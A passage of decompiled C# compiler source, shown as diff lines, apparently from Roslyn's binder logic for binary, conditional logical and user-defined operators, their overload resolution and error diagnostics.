SyntaxKind.LessThanExpression: + case SyntaxKind.LessThanOrEqualExpression: + case SyntaxKind.GreaterThanExpression: + case SyntaxKind.GreaterThanOrEqualExpression: + case SyntaxKind.UnsignedRightShiftExpression: + return true; + default: + return false; + } + } + + private BoundExpression BindSimpleBinaryOperator(BinaryExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ExpressionSyntax expressionSyntax = node; + while (IsSimpleBinaryOperator(expressionSyntax.Kind())) + { + BinaryExpressionSyntax binaryExpressionSyntax = (BinaryExpressionSyntax)expressionSyntax; + ArrayBuilderExtensions.Push(instance, binaryExpressionSyntax); + expressionSyntax = binaryExpressionSyntax.Left; + } + BoundExpression boundExpression = BindExpression(expressionSyntax, diagnostics); + if (((SyntaxNode?)(object)node).IsKind(SyntaxKind.SubtractExpression) && ((SyntaxNode?)(object)expressionSyntax).IsKind(SyntaxKind.ParenthesizedExpression)) + { + if (boundExpression.Kind == BoundKind.TypeExpression && !((SyntaxNode?)(object)((ParenthesizedExpressionSyntax)expressionSyntax).Expression).IsKind(SyntaxKind.ParenthesizedExpression)) + { + Error(diagnostics, ErrorCode.ERR_PossibleBadNegCast, (CSharpSyntaxNode)node); + } + else if (boundExpression.Kind == BoundKind.BadExpression) + { + ParenthesizedExpressionSyntax parenthesizedExpressionSyntax = (ParenthesizedExpressionSyntax)expressionSyntax; + if (((SyntaxNode?)(object)parenthesizedExpressionSyntax.Expression).IsKind(SyntaxKind.IdentifierName)) + { + SyntaxToken identifier = ((IdentifierNameSyntax)parenthesizedExpressionSyntax.Expression).Identifier; + if (((SyntaxToken)(ref identifier)).ValueText == "dynamic") + { + Error(diagnostics, ErrorCode.ERR_PossibleBadNegCast, (CSharpSyntaxNode)node); + } + } + } + } + while (instance.Count > 0) + { + BinaryExpressionSyntax binaryExpressionSyntax2 = ArrayBuilderExtensions.Pop(instance); + BindValueKind binaryAssignmentKind = GetBinaryAssignmentKind(binaryExpressionSyntax2.Kind()); + BoundExpression left = CheckValue(boundExpression, binaryAssignmentKind, diagnostics); + BoundExpression right = BindValue(binaryExpressionSyntax2.Right, diagnostics, BindValueKind.RValue); + boundExpression = BindSimpleBinaryOperator(binaryExpressionSyntax2, diagnostics, left, right, leaveUnconvertedIfInterpolatedString: true); + } + instance.Free(); + return boundExpression; + } + + private BoundExpression BindSimpleBinaryOperator(BinaryExpressionSyntax node, BindingDiagnosticBag diagnostics, BoundExpression left, BoundExpression right, bool leaveUnconvertedIfInterpolatedString) + { + //IL_01d0: Unknown result type (might be due to invalid IL or missing references) + //IL_020c: Unknown result type (might be due to invalid IL or missing references) + //IL_0213: Invalid comparison between Unknown and I4 + //IL_0219: Unknown result type (might be due to invalid IL or missing references) + //IL_0220: Invalid comparison between Unknown and I4 + //IL_0229: Unknown result type (might be due to invalid IL or missing references) + BinaryOperatorKind binaryOperatorKind = SyntaxKindToBinaryOperatorKind(node.Kind()); + if (left.HasAnyErrors || right.HasAnyErrors) + { + left = BindToTypeForErrorRecovery(left); + right = BindToTypeForErrorRecovery(right); + return new BoundBinaryOperator((SyntaxNode)(object)node, binaryOperatorKind, null, null, null, LookupResultKind.Empty, left, right, GetBinaryOperatorErrorType(binaryOperatorKind, diagnostics, node), hasErrors: true); + } + TypeSymbol type = left.Type; + TypeSymbol type2 = right.Type; + if (((object)type != null && type.IsDynamic()) || ((object)type2 != null && type2.IsDynamic())) + { + return BindDynamicBinaryOperator(node, binaryOperatorKind, left, right, diagnostics); + } + bool flag = left.IsLiteralNull(); + bool flag2 = right.IsLiteralNull(); + if ((binaryOperatorKind == BinaryOperatorKind.Equal || binaryOperatorKind == BinaryOperatorKind.NotEqual) && flag && flag2) + { + return new BoundLiteral((SyntaxNode)(object)node, ConstantValue.Create(binaryOperatorKind == BinaryOperatorKind.Equal), GetSpecialType((SpecialType)7, diagnostics, (SyntaxNode)(object)node)); + } + if (IsTupleBinaryOperation(left, right) && (binaryOperatorKind == BinaryOperatorKind.Equal || binaryOperatorKind == BinaryOperatorKind.NotEqual)) + { + CheckFeatureAvailability((SyntaxNode)(object)node, MessageID.IDS_FeatureTupleEquality, diagnostics); + return BindTupleBinaryOperator(node, binaryOperatorKind, left, right, diagnostics); + } + bool flag3 = leaveUnconvertedIfInterpolatedString && binaryOperatorKind == BinaryOperatorKind.Addition; + if (flag3) + { + bool flag4 = ((left is BoundUnconvertedInterpolatedString || left is BoundBinaryOperator { IsUnconvertedInterpolatedStringAddition: not false }) ? true : false); + flag3 = flag4; + } + bool flag5 = flag3; + if (flag5) + { + bool flag4 = ((right is BoundUnconvertedInterpolatedString || right is BoundBinaryOperator { IsUnconvertedInterpolatedStringAddition: not false }) ? true : false); + flag5 = flag4; + } + if (flag5) + { + ConstantValue constantValue = FoldBinaryOperator(node, BinaryOperatorKind.StringConcatenation, left, right, right.Type, diagnostics); + return new BoundBinaryOperator((SyntaxNode)(object)node, BinaryOperatorKind.StringConcatenation, BoundBinaryOperator.UncommonData.UnconvertedInterpolatedStringAddition(constantValue), LookupResultKind.Empty, left, right, right.Type); + } + LookupResultKind resultKind; + ImmutableArray originalUserDefinedOperators; + BinaryOperatorSignature resultSignature; + BinaryOperatorAnalysisResult best; + bool flag6 = BindSimpleBinaryOperatorParts(node, diagnostics, left, right, binaryOperatorKind, out resultKind, out originalUserDefinedOperators, out resultSignature, out best); + BinaryOperatorKind binaryOperatorKind2 = resultSignature.Kind; + bool flag7 = false; + if (!flag6) + { + ReportBinaryOperatorError(node, diagnostics, node.OperatorToken, left, right, resultKind); + binaryOperatorKind2 &= ~BinaryOperatorKind.TypeMask; + flag7 = true; + } + SyntaxKind syntaxKind = node.Kind(); + if (syntaxKind - 8680 <= (SyntaxKind)5) + { + if ((binaryOperatorKind2 & BinaryOperatorKind.Pointer) == BinaryOperatorKind.Pointer && (object)type != null && (int)type.TypeKind == 13 && (object)type2 != null && (int)type2.TypeKind == 13) + { + Error(diagnostics, ErrorCode.WRN_DoNotCompareFunctionPointers, node.OperatorToken); + } + } + else if (type.IsVoidPointer() || type2.IsVoidPointer()) + { + Error(diagnostics, ErrorCode.ERR_VoidError, (CSharpSyntaxNode)node); + flag7 = true; + } + if (flag6) + { + CheckNativeIntegerFeatureAvailability(binaryOperatorKind2, (SyntaxNode)(object)node, diagnostics); + CheckConstraintLanguageVersionAndRuntimeSupportForOperator((SyntaxNode)(object)node, resultSignature.Method, binaryOperatorKind2.Operator() == BinaryOperatorKind.UnsignedRightShift, resultSignature.ConstrainedToTypeOpt, diagnostics); + } + TypeSymbol returnType = resultSignature.ReturnType; + BoundExpression expression = left; + BoundExpression expression2 = right; + ConstantValue val = null; + if (flag6 && binaryOperatorKind2.OperandTypes() != BinaryOperatorKind.NullableNull) + { + expression = CreateConversion(left, best.LeftConversion, resultSignature.LeftType, diagnostics); + expression2 = CreateConversion(right, best.RightConversion, resultSignature.RightType, diagnostics); + val = FoldBinaryOperator(node, binaryOperatorKind2, expression, expression2, returnType, diagnostics); + } + else + { + expression = BindToNaturalType(expression, diagnostics, reportNoTargetType: false); + expression2 = BindToNaturalType(expression2, diagnostics, reportNoTargetType: false); + } + flag7 = flag7 || (val != (ConstantValue)null && val.IsBad); + return new BoundBinaryOperator((SyntaxNode)(object)node, binaryOperatorKind2.WithOverflowChecksIfApplicable(CheckOverflowAtRuntime), expression, expression2, val, resultSignature.Method, resultSignature.ConstrainedToTypeOpt, resultKind, originalUserDefinedOperators, returnType, flag7); + } + + private bool BindSimpleBinaryOperatorParts(BinaryExpressionSyntax node, BindingDiagnosticBag diagnostics, BoundExpression left, BoundExpression right, BinaryOperatorKind kind, out LookupResultKind resultKind, out ImmutableArray originalUserDefinedOperators, out BinaryOperatorSignature resultSignature, out BinaryOperatorAnalysisResult best) + { + //IL_0110: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_0149: Unknown result type (might be due to invalid IL or missing references) + best = BinaryOperatorOverloadResolution(kind, CheckOverflowAtRuntime, left, right, node, diagnostics, out resultKind, out originalUserDefinedOperators); + bool result; + if (!best.HasValue) + { + resultSignature = new BinaryOperatorSignature(kind, null, null, CreateErrorType()); + result = false; + } + else + { + BinaryOperatorSignature signature = best.Signature; + bool flag = signature.Kind == BinaryOperatorKind.ObjectEqual || signature.Kind == BinaryOperatorKind.ObjectNotEqual; + bool flag2 = left.IsLiteralNull(); + bool flag3 = right.IsLiteralNull(); + TypeSymbol type = left.Type; + TypeSymbol type2 = right.Type; + if ((object)signature.Method == null && (signature.Kind.Operator() == BinaryOperatorKind.Equal || signature.Kind.Operator() == BinaryOperatorKind.NotEqual) && ((flag2 && (object)type2 != null && type2.IsNullableType()) || (flag3 && (object)type != null && type.IsNullableType()))) + { + resultSignature = new BinaryOperatorSignature(kind | BinaryOperatorKind.NullableNull, null, null, GetSpecialType((SpecialType)7, diagnostics, (SyntaxNode)(object)node)); + result = true; + } + else + { + resultSignature = signature; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + bool leftIsDefault = left.IsLiteralDefault(); + bool rightIsDefault = right.IsLiteralDefault(); + result = !flag || BuiltInOperators.IsValidObjectEquality(Conversions, type, flag2, leftIsDefault, type2, flag3, rightIsDefault, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + } + } + return result; + } + + private BoundExpression RebindSimpleBinaryOperatorAsConverted(BoundBinaryOperator unconvertedBinaryOperator, BindingDiagnosticBag diagnostics) + { + if (TryBindUnconvertedBinaryOperatorToDefaultInterpolatedStringHandler(unconvertedBinaryOperator, diagnostics, out BoundBinaryOperator convertedBinaryOperator)) + { + return convertedBinaryOperator; + } + return doRebind(diagnostics, unconvertedBinaryOperator); + BoundExpression doRebind(BindingDiagnosticBag diagnostics2, BoundBinaryOperator? current) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + while (current != null) + { + ArrayBuilderExtensions.Push(instance, current); + current = current.Left as BoundBinaryOperator; + } + BoundExpression boundExpression = null; + while (ArrayBuilderExtensions.TryPop(instance, ref current)) + { + BoundExpression right = current.Right; + BoundExpression boundExpression2; + if (!(right is BoundUnconvertedInterpolatedString boundUnconvertedInterpolatedString)) + { + if (!(right is BoundBinaryOperator current2)) + { + throw ExceptionUtilities.UnexpectedValue((object)current.Right.Kind); + } + boundExpression2 = doRebind(diagnostics2, current2); + } + else + { + boundExpression2 = boundUnconvertedInterpolatedString; + } + BoundExpression right2 = boundExpression2; + boundExpression = BindSimpleBinaryOperator((BinaryExpressionSyntax)(object)current.Syntax, diagnostics2, boundExpression ?? current.Left, right2, leaveUnconvertedIfInterpolatedString: false); + } + instance.Free(); + return boundExpression; + } + } + + private static void ReportUnaryOperatorError(CSharpSyntaxNode node, BindingDiagnosticBag diagnostics, string operatorName, BoundExpression operand, LookupResultKind resultKind) + { + if (!operand.IsLiteralDefault()) + { + ErrorCode code = ((resultKind == LookupResultKind.Ambiguous) ? ErrorCode.ERR_AmbigUnaryOp : ErrorCode.ERR_BadUnaryOp); + Error(diagnostics, code, node, operatorName, operand.Display); + } + } + + private void ReportAssignmentOperatorError(AssignmentExpressionSyntax node, BinaryOperatorKind kind, BindingDiagnosticBag diagnostics, BoundExpression left, BoundExpression right, LookupResultKind resultKind) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Invalid comparison between Unknown and I4 + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + bool flag = IsTypelessExpressionAllowedInBinaryOperator(kind, left, right); + if (flag) + { + SyntaxToken operatorToken = node.OperatorToken; + int rawKind = ((SyntaxToken)(ref operatorToken)).RawKind; + bool flag2 = (uint)(rawKind - 8280) <= 1u; + flag = flag2; + } + if (flag && (object)left.Type != null && (int)left.Type.TypeKind == 3) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + Conversion conversion = Conversions.ClassifyConversionFromExpression(right, left.Type, CheckOverflowAtRuntime, ref useSiteInfo); + GenerateImplicitConversionError(diagnostics, right.Syntax, conversion, right, left.Type); + } + else + { + ReportBinaryOperatorError(node, diagnostics, node.OperatorToken, left, right, resultKind); + } + } + + private void ReportBinaryOperatorError(ExpressionSyntax node, BindingDiagnosticBag diagnostics, SyntaxToken operatorToken, BoundExpression left, BoundExpression right, LookupResultKind resultKind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_01b7: Unknown result type (might be due to invalid IL or missing references) + bool flag = operatorToken.Kind() == SyntaxKind.EqualsEqualsToken || operatorToken.Kind() == SyntaxKind.ExclamationEqualsToken; + BoundKind kind = left.Kind; + BoundKind kind2 = right.Kind; + int num; + if (kind != BoundKind.DefaultLiteral) + { + if (kind2 != BoundKind.DefaultLiteral) + { + if (kind != BoundKind.UnconvertedObjectCreationExpression) + { + goto IL_0064; + } + goto IL_0154; + } + num = 3; + } + else + { + if (!flag) + { + goto IL_008e; + } + if (kind2 != BoundKind.DefaultLiteral) + { + if (right.Type is TypeParameterSymbol) + { + Error(diagnostics, ErrorCode.ERR_AmbigBinaryOpsOnUnconstrainedDefault, (CSharpSyntaxNode)node, new object[2] + { + ((SyntaxToken)(ref operatorToken)).Text, + right.Type + }); + return; + } + goto IL_0064; + } + num = 1; + } + if (flag) + { + if (num == 1) + { + Error(diagnostics, ErrorCode.ERR_AmbigBinaryOpsOnDefault, (CSharpSyntaxNode)node, new object[3] + { + ((SyntaxToken)(ref operatorToken)).Text, + left.Display, + right.Display + }); + return; + } + if (num == 3) + { + if (!(left.Type is TypeParameterSymbol)) + { + if (kind == BoundKind.UnconvertedObjectCreationExpression) + { + goto IL_0154; + } + goto IL_01a2; + } + Error(diagnostics, ErrorCode.ERR_AmbigBinaryOpsOnUnconstrainedDefault, (CSharpSyntaxNode)node, new object[2] + { + ((SyntaxToken)(ref operatorToken)).Text, + left.Type + }); + return; + } + } + goto IL_008e; + IL_0064: + if (kind2 != BoundKind.UnconvertedObjectCreationExpression) + { + goto IL_01a2; + } + Error(diagnostics, ErrorCode.ERR_BadOpOnNullOrDefaultOrNew, (CSharpSyntaxNode)node, new object[2] + { + ((SyntaxToken)(ref operatorToken)).Text, + right.Display + }); + return; + IL_008e: + Error(diagnostics, ErrorCode.ERR_BadOpOnNullOrDefaultOrNew, (CSharpSyntaxNode)node, new object[2] + { + ((SyntaxToken)(ref operatorToken)).Text, + "default" + }); + return; + IL_01ea: + ErrorCode code = ErrorCode.ERR_BadBinaryOps; + goto IL_01ed; + IL_0154: + Error(diagnostics, ErrorCode.ERR_BadOpOnNullOrDefaultOrNew, (CSharpSyntaxNode)node, new object[2] + { + ((SyntaxToken)(ref operatorToken)).Text, + left.Display + }); + return; + IL_01a2: + LookupResultKind lookupResultKind = resultKind; + if (lookupResultKind != LookupResultKind.OverloadResolutionFailure) + { + if (lookupResultKind != LookupResultKind.Ambiguous) + { + goto IL_01ea; + } + code = ErrorCode.ERR_AmbigBinaryOps; + } + else + { + if (operatorToken.Kind() != SyntaxKind.PlusToken || !isReadOnlySpanOfByte(left.Type) || !isReadOnlySpanOfByte(right.Type)) + { + goto IL_01ea; + } + code = ErrorCode.ERR_BadBinaryReadOnlySpanConcatenation; + } + goto IL_01ed; + IL_01ed: + Error(diagnostics, code, (CSharpSyntaxNode)node, new object[3] + { + ((SyntaxToken)(ref operatorToken)).Text, + left.Display, + right.Display + }); + bool isReadOnlySpanOfByte(TypeSymbol? type) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Invalid comparison between Unknown and I4 + if (type is NamedTypeSymbol namedTypeSymbol && Compilation.IsReadOnlySpanType(namedTypeSymbol)) + { + return (int)namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.Single().Type.SpecialType == 10; + } + return false; + } + } + + private BoundExpression BindConditionalLogicalOperator(BinaryExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + BinaryExpressionSyntax binaryExpressionSyntax = node; + ExpressionSyntax expressionSyntax; + while (true) + { + expressionSyntax = binaryExpressionSyntax.Left; + if (!(expressionSyntax is BinaryExpressionSyntax binaryExpressionSyntax2) || (binaryExpressionSyntax2.Kind() != SyntaxKind.LogicalOrExpression && binaryExpressionSyntax2.Kind() != SyntaxKind.LogicalAndExpression)) + { + break; + } + binaryExpressionSyntax = binaryExpressionSyntax2; + } + BoundExpression boundExpression = BindRValueWithoutTargetType(expressionSyntax, diagnostics); + do + { + binaryExpressionSyntax = (BinaryExpressionSyntax)expressionSyntax.Parent; + BoundExpression right = BindRValueWithoutTargetType(binaryExpressionSyntax.Right, diagnostics); + boundExpression = BindConditionalLogicalOperator(binaryExpressionSyntax, boundExpression, right, diagnostics); + expressionSyntax = binaryExpressionSyntax; + } + while (expressionSyntax != node); + return boundExpression; + } + + private BoundExpression BindConditionalLogicalOperator(BinaryExpressionSyntax node, BoundExpression left, BoundExpression right, BindingDiagnosticBag diagnostics) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Invalid comparison between Unknown and I4 + //IL_0120: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Invalid comparison between Unknown and I4 + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_0135: Invalid comparison between Unknown and I4 + //IL_0159: Unknown result type (might be due to invalid IL or missing references) + BinaryOperatorKind binaryOperatorKind = SyntaxKindToBinaryOperatorKind(node.Kind()); + if ((object)left.Type != null && (int)left.Type.SpecialType == 7 && (object)right.Type != null && (int)right.Type.SpecialType == 7) + { + ConstantValue val = FoldBinaryOperator(node, binaryOperatorKind | BinaryOperatorKind.Bool, left, right, left.Type, diagnostics); + return new BoundBinaryOperator((SyntaxNode)(object)node, binaryOperatorKind | BinaryOperatorKind.Bool, val, null, null, LookupResultKind.Viable, left, right, left.Type, val != (ConstantValue)null && val.IsBad); + } + if (left.HasAnyErrors || right.HasAnyErrors) + { + return new BoundBinaryOperator((SyntaxNode)(object)node, binaryOperatorKind, null, null, null, LookupResultKind.Empty, left, right, GetBinaryOperatorErrorType(binaryOperatorKind, diagnostics, node), hasErrors: true); + } + if (left.HasDynamicType() || right.HasDynamicType()) + { + left = BindToNaturalType(left, diagnostics); + right = BindToNaturalType(right, diagnostics); + return BindDynamicBinaryOperator(node, binaryOperatorKind, left, right, diagnostics); + } + LookupResultKind resultKind; + ImmutableArray originalUserDefinedOperators; + BinaryOperatorAnalysisResult binaryOperatorAnalysisResult = BinaryOperatorOverloadResolution(binaryOperatorKind, CheckOverflowAtRuntime, left, right, node, diagnostics, out resultKind, out originalUserDefinedOperators); + if (!binaryOperatorAnalysisResult.HasValue) + { + ReportBinaryOperatorError(node, diagnostics, node.OperatorToken, left, right, resultKind); + } + else + { + BinaryOperatorSignature signature = binaryOperatorAnalysisResult.Signature; + bool flag = (int)signature.LeftType.SpecialType == 7 && (int)signature.RightType.SpecialType == 7; + MethodSymbol trueOperator = null; + MethodSymbol falseOperator = null; + if (!flag && !signature.Kind.IsUserDefined()) + { + ReportBinaryOperatorError(node, diagnostics, node.OperatorToken, left, right, resultKind); + } + else if (flag || IsValidUserDefinedConditionalLogicalOperator(node, signature, diagnostics, out trueOperator, out falseOperator)) + { + BoundExpression left2 = CreateConversion(left, binaryOperatorAnalysisResult.LeftConversion, signature.LeftType, diagnostics); + BoundExpression right2 = CreateConversion(right, binaryOperatorAnalysisResult.RightConversion, signature.RightType, diagnostics); + BinaryOperatorKind binaryOperatorKind2 = binaryOperatorKind | signature.Kind.OperandTypes(); + if (signature.Kind.IsLifted()) + { + binaryOperatorKind2 |= BinaryOperatorKind.Lifted; + } + if (binaryOperatorKind2.IsUserDefined()) + { + if (CheckConstraintLanguageVersionAndRuntimeSupportForOperator((SyntaxNode)(object)node, signature.Method, isUnsignedRightShift: false, signature.ConstrainedToTypeOpt, diagnostics)) + { + CheckConstraintLanguageVersionAndRuntimeSupportForOperator((SyntaxNode)(object)node, (binaryOperatorKind == BinaryOperatorKind.LogicalAnd) ? falseOperator : trueOperator, isUnsignedRightShift: false, signature.ConstrainedToTypeOpt, diagnostics); + } + else + _ = 0; + return new BoundUserDefinedConditionalLogicalOperator((SyntaxNode)(object)node, binaryOperatorKind2, left2, right2, signature.Method, trueOperator, falseOperator, signature.ConstrainedToTypeOpt, resultKind, originalUserDefinedOperators, signature.ReturnType); + } + return new BoundBinaryOperator((SyntaxNode)(object)node, binaryOperatorKind2, left2, right2, null, signature.Method, signature.ConstrainedToTypeOpt, resultKind, originalUserDefinedOperators, signature.ReturnType); + } + } + return new BoundBinaryOperator((SyntaxNode)(object)node, binaryOperatorKind, left, right, null, null, null, resultKind, originalUserDefinedOperators, CreateErrorType(), hasErrors: true); + } + + private bool IsValidDynamicCondition(BoundExpression left, bool isNegative, BindingDiagnosticBag diagnostics, out MethodSymbol userDefinedOperator) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Invalid comparison between Unknown and I4 + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + userDefinedOperator = null; + TypeSymbol type = left.Type; + if ((object)type == null) + { + return false; + } + if (type.IsDynamic()) + { + return true; + } + NamedTypeSymbol specialType = Compilation.GetSpecialType((SpecialType)7); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = Conversions.ClassifyImplicitConversionFromExpression(left, specialType, ref useSiteInfo); + if (conversion.Exists) + { + if ((object)left.Type != null) + { + BoundValuePlaceholder source = new BoundValuePlaceholder(left.Syntax, left.Type).MakeCompilerGenerated(); + CreateConversion(left.Syntax, source, conversion, isCast: false, null, specialType, diagnostics); + } + ((BindingDiagnosticBag)(object)diagnostics).Add(left.Syntax, useSiteInfo); + return true; + } + if ((int)type.Kind != 11) + { + ((BindingDiagnosticBag)(object)diagnostics).Add(left.Syntax, useSiteInfo); + return false; + } + NamedTypeSymbol containingType = type as NamedTypeSymbol; + bool result = HasApplicableBooleanOperator(containingType, isNegative ? "op_False" : "op_True", type, ref useSiteInfo, out userDefinedOperator); + ((BindingDiagnosticBag)(object)diagnostics).Add(left.Syntax, useSiteInfo); + return result; + } + + private bool IsValidUserDefinedConditionalLogicalOperator(CSharpSyntaxNode syntax, BinaryOperatorSignature signature, BindingDiagnosticBag diagnostics, out MethodSymbol trueOperator, out MethodSymbol falseOperator) + { + //IL_00c0: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + //IL_012a: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol containingType = signature.Method.ContainingType; + bool num = TypeSymbol.Equals(signature.LeftType, signature.RightType, (TypeCompareKind)0) && TypeSymbol.Equals(signature.LeftType, signature.ReturnType, (TypeCompareKind)0); + MethodSymbol originalDefinition; + bool flag = TypeSymbol.Equals(signature.ReturnType.StrippedType(), containingType, (TypeCompareKind)0) || (containingType.IsInterface && (signature.Method.IsAbstract || signature.Method.IsVirtual) && SourceUserDefinedOperatorSymbolBase.IsSelfConstrainedTypeParameter((originalDefinition = signature.Method.OriginalDefinition).ReturnType.StrippedType(), originalDefinition.ContainingType)); + if (!num || !flag) + { + Error(diagnostics, ErrorCode.ERR_BadBoolOp, syntax, signature.Method); + trueOperator = null; + falseOperator = null; + return false; + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + if (!HasApplicableBooleanOperator(containingType, "op_True", signature.LeftType, ref useSiteInfo, out trueOperator) || !HasApplicableBooleanOperator(containingType, "op_False", signature.LeftType, ref useSiteInfo, out falseOperator)) + { + Error(diagnostics, ErrorCode.ERR_MustHaveOpTF, syntax, signature.Method, containingType); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)syntax, useSiteInfo); + trueOperator = null; + falseOperator = null; + return false; + } + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)syntax, useSiteInfo); + return true; + } + + private bool HasApplicableBooleanOperator(NamedTypeSymbol containingType, string name, TypeSymbol argumentType, ref CompoundUseSiteInfo useSiteInfo, out MethodSymbol @operator) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Invalid comparison between Unknown and I4 + NamedTypeSymbol namedTypeSymbol = containingType; + while ((object)namedTypeSymbol != null) + { + ImmutableArray operators = namedTypeSymbol.GetOperators(name); + for (int i = 0; i < operators.Length; i++) + { + MethodSymbol methodSymbol = operators[i]; + if (methodSymbol.ParameterCount == 1 && (int)methodSymbol.DeclaredAccessibility == 6 && Conversions.ClassifyConversionFromType(argumentType, methodSymbol.GetParameterType(0), CheckOverflowAtRuntime, ref useSiteInfo).IsImplicit) + { + @operator = methodSymbol; + return true; + } + } + namedTypeSymbol = namedTypeSymbol.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + @operator = null; + return false; + } + + private TypeSymbol GetBinaryOperatorErrorType(BinaryOperatorKind kind, BindingDiagnosticBag diagnostics, CSharpSyntaxNode node) + { + switch (kind) + { + case BinaryOperatorKind.Equal: + case BinaryOperatorKind.NotEqual: + case BinaryOperatorKind.GreaterThan: + case BinaryOperatorKind.LessThan: + case BinaryOperatorKind.GreaterThanOrEqual: + case BinaryOperatorKind.LessThanOrEqual: + return GetSpecialType((SpecialType)7, diagnostics, (SyntaxNode)(object)node); + default: + return CreateErrorType(); + } + } + + private BinaryOperatorAnalysisResult BinaryOperatorOverloadResolution(BinaryOperatorKind kind, bool isChecked, BoundExpression left, BoundExpression right, CSharpSyntaxNode node, BindingDiagnosticBag diagnostics, out LookupResultKind resultKind, out ImmutableArray originalUserDefinedOperators) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + if (!IsTypelessExpressionAllowedInBinaryOperator(kind, left, right)) + { + resultKind = LookupResultKind.OverloadResolutionFailure; + originalUserDefinedOperators = default(ImmutableArray); + return default(BinaryOperatorAnalysisResult); + } + BinaryOperatorOverloadResolutionResult instance = BinaryOperatorOverloadResolutionResult.GetInstance(); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + OverloadResolution.BinaryOperatorOverloadResolution(kind, isChecked, left, right, instance, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + BinaryOperatorAnalysisResult best = instance.Best; + if (instance.Results.Any()) + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + Enumerator enumerator = instance.Results.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol method = enumerator.Current.Signature.Method; + if ((object)method != null) + { + instance2.Add(method); + } + } + originalUserDefinedOperators = instance2.ToImmutableAndFree(); + if (best.HasValue) + { + resultKind = LookupResultKind.Viable; + } + else if (instance.AnyValid()) + { + resultKind = LookupResultKind.Ambiguous; + } + else + { + resultKind = LookupResultKind.OverloadResolutionFailure; + } + } + else + { + originalUserDefinedOperators = ImmutableArray.Empty; + resultKind = (best.HasValue ? LookupResultKind.Viable : LookupResultKind.Empty); + } + if (best.HasValue) + { + MethodSymbol method2 = best.Signature.Method; + if ((object)method2 != null) + { + ReportObsoleteAndFeatureAvailabilityDiagnostics(method2, node, diagnostics); + ReportUseSite(method2, diagnostics, (SyntaxNode)(object)node); + } + } + instance.Free(); + return best; + } + + private void ReportObsoleteAndFeatureAvailabilityDiagnostics(MethodSymbol operatorMethod, CSharpSyntaxNode node, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + if ((object)operatorMethod != null) + { + ReportDiagnosticsIfObsolete(diagnostics, operatorMethod, SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)node), hasBaseReceiver: false); + if (operatorMethod.ContainingType.IsInterface && operatorMethod.ContainingModule != Compilation.SourceModule) + { + CheckFeatureAvailability((SyntaxNode)(object)node, MessageID.IDS_DefaultInterfaceImplementation, diagnostics); + } + } + } + + private bool IsTypelessExpressionAllowedInBinaryOperator(BinaryOperatorKind kind, BoundExpression left, BoundExpression right) + { + if (left.IsImplicitObjectCreation() || right.IsImplicitObjectCreation()) + { + return false; + } + if (kind == BinaryOperatorKind.Equal || kind == BinaryOperatorKind.NotEqual) + { + if (left.IsLiteralDefault()) + { + return !right.IsLiteralDefault(); + } + return true; + } + if (!left.IsLiteralDefault()) + { + return !right.IsLiteralDefault(); + } + return false; + } + + private UnaryOperatorAnalysisResult UnaryOperatorOverloadResolution(UnaryOperatorKind kind, BoundExpression operand, CSharpSyntaxNode node, BindingDiagnosticBag diagnostics, out LookupResultKind resultKind, out ImmutableArray originalUserDefinedOperators) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing 